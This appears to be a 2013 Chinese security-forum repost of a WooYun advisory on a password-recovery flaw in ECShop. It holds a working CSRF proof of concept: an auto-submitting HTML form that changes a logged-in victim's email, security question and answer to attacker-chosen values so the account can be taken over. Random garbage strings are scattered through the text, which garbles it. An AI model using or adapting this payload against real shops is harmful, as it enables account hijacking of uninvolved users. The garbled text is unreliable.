中国网络渗透测试联盟

标题: ecshop修改任意用户密码漏洞的CSRF利用 [打印本页]

作者: admin    时间: 2013-2-20 08:30
标题: ecshop修改任意用户密码漏洞的CSRF利用
简要描述:
2 E$ j+ }5 N" {- \9 d* recshop在设计认证机制的时候存在一个问题,导致恶意用户可以窃取其他用户的密码,这个过程可以通过xss和csrf实现
4 n' W5 a% k' O: L5 T; R' d) v0 X! a( t4 o
Demo For:http://www.wooyun.org/bug.php?action=view&id=395
+ N! W9 Q- m6 l" U2 L
. O9 ^! @# ^/ D详细说明:/ q% N  Q7 i3 W4 d
利用csrf和xss可以突破官方所说的“障碍”0 E3 g, [/ q9 h. O& R& b
xss版本已经有人说明$ a" G( s" x8 `
这里给出csrf版本" E% l; B" H5 g% }
. a$ i) M, q6 C/ m, R; m. I# P
漏洞证明:
! I* G$ H$ _* U- G0 A3 ^* @# F<html>: _$ q" b/ k4 r( O
<body>
2 |) v# a$ ~( B; J' O- n, o<form action="http://www.wooyun.org/ecshop/user.php" method="POST">2 g% ~) D  i& p6 a
<INPUT TYPE="text" NAME="email" value="hack@wooyun.org">( }* h) v+ X' X" K
<INPUT TYPE="text" NAME="act" value="act_edit_profile">
4 q; f( u) t; c) A' ^7 p<INPUT TYPE="text" NAME="sel_question" value="ecshop">0 P! U! m* I" v1 v' m8 A
<INPUT TYPE="text" NAME="passwd_answer" value="exploit">6 D' W% t6 ~" h5 l( C2 J# [
</body>
- z% l3 @' u7 X$ Y* G0 ?% u+ ~% J<script>
" [, `3 W0 @" g& ?5 D# ^document.forms[0].submit();
  E, U, N5 ~8 {* B</script>0 |. H8 `7 k" ^
</html>5 L* @- m' y, c, v0 z7 |- t! n
构造该网页,用户在登录情况下访问该网页将导致email以及一些其他安全信息丢失
5 y  N- Z0 k+ y' I0 @# H% u; C* G- T( G. ^9 h  |0 ~: r





欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2